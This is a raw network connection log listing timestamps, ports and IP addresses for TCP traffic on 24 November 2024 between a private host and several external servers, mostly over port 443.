Nov 24, 2024 19:11:51.420453072 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420453072 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.420461893 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420488119 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.420520067 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.420535088 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420635939 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.427907944 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.427916050 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.427932978 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.427944899 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.427956104 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.427980900 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.428014040 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.434438944 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.434447050 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.434478045 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.434485912 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.434506893 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.434555054 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.434572935 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.434633970 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445029020 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445044041 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445070028 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445095062 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445107937 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445121050 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445132971 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445180893 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445188046 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445234060 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.445306063 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445466042 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.445476055 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.457395077 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.473185062 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.473215103 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.473217964 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.473217010 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.473216057 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.473225117 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.473263025 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.524513960 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524525881 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524558067 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524574995 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524600983 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524601936 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.524606943 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.524636030 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.524656057 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.535352945 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.536272049 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.536281109 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.536384106 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.536411047 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.540899038 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.540961027 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.540982962 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.541011095 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.541023016 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.541028976 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.541049957 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.541073084 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.541102886 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.541102886 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.541104078 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.541163921 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.546786070 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.546799898 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.546827078 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.546864986 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.546886921 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.546917915 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.546941042 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.553556919 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553575993 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553582907 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553608894 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553617954 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553627968 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553639889 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.553653002 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.553679943 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.553705931 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.560096025 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.560126066 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.560134888 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.560165882 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.560169935 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.560192108 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.560230970 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.560230970 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.562058926 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.562067986 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.562084913 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.562092066 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.562166929 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.562176943 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.562205076 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.569533110 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.569632053 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.569649935 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.572618008 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.572627068 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.572652102 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.572683096 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.572690010 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.572715044 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.576387882 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.576397896 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.576438904 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.576452971 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:51.576469898 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.576482058 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.576498985 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:51.576524973 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:51.577415943 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:51.577430964 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:51.582678080 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.582701921 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.582756996 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.582789898 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.582818031 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.582851887 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.591319084 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.591334105 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.591419935 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.591443062 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.591461897 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.591519117 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.597094059 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597106934 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597125053 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597131968 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597135067 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597146988 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.597171068 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597191095 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.597203970 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.597215891 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.601134062 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.601141930 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.601206064 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.601227999 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.601361990 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.607666969 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.607676029 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.607775927 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.607789040 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.608776093 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.608793020 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.608845949 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.608861923 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.608918905 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.608918905 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.631299973 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.631323099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.631403923 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.631428957 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.631459951 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.631541014 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.632191896 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.632200003 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.632214069 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.632220030 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.632239103 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.632245064 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.632280111 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.642894983 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.642903090 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.642970085 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.642978907 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.646408081 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.646434069 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.646478891 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.646517038 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:51.646542072 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.646559954 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:51.647074938 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:51.647074938 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:51.647089958 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.647279978 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.647329092 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:51.647404909 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:51.661015034 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:51.661279917 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:51.661295891 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:51.661633968 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:51.662036896 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:51.662101030 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:51.662188053 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:51.662201881 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:51.662209988 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:51.675955057 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.675995111 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.706417084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.710320950 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.710341930 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.710400105 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.710426092 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.710479021 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.710500956 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.718862057 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.718930960 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.718950987 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.725060940 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.725084066 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.725135088 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.725167990 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.725182056 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.725575924 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.726871014 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.726881027 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.726902008 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.726922035 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.726934910 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.726953983 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.726983070 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.735469103 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.735482931 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.735546112 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.735574961 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.735599995 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.737139940 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.737148046 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.737173080 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.737199068 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.737209082 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.737219095 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.744503975 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.744514942 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.744524956 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.744580984 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.744594097 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.744630098 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.744630098 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.744640112 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.744676113 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.757721901 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.757749081 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.757792950 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.757795095 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.757824898 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.757838011 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.757858038 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.757888079 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.758394003 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.758411884 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.758455992 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.758476019 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.758507967 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.763850927 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.763860941 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.763889074 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.763936996 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.763947010 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.763976097 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.764000893 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.767086029 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.767175913 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.767195940 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.776968956 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.776985884 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.777035952 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.777044058 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.777079105 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.777121067 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.780515909 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.780533075 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.780586004 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.780603886 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.780653954 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.781692028 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.781702042 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.781713963 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.781730890 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.781790018 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.781801939 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.781815052 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.783991098 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.784066916 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.784081936 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.789020061 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.789089918 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.789105892 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.790380955 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.790390968 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.790478945 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.790488005 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.801722050 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.801743984 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.801789999 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.801831961 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.801866055 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.803242922 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.803261995 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.803328037 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.803350925 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.803381920 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.809401035 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.809483051 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.809499979 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811292887 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811301947 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811321020 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811342001 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811372995 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.811384916 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811409950 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.811537981 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.811628103 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.811642885 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.819960117 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.819967985 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.820025921 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.820034027 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.824461937 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.824480057 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.824551105 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.824569941 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.829852104 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.829866886 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.829924107 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.829941988 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.829969883 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.831032038 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.831109047 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.831137896 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837388039 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837399960 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837414026 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837420940 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837476015 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.837481976 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837528944 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.837641001 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.837743998 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.837759972 CET	443	49791	23.209.72.40	192.168.2.8
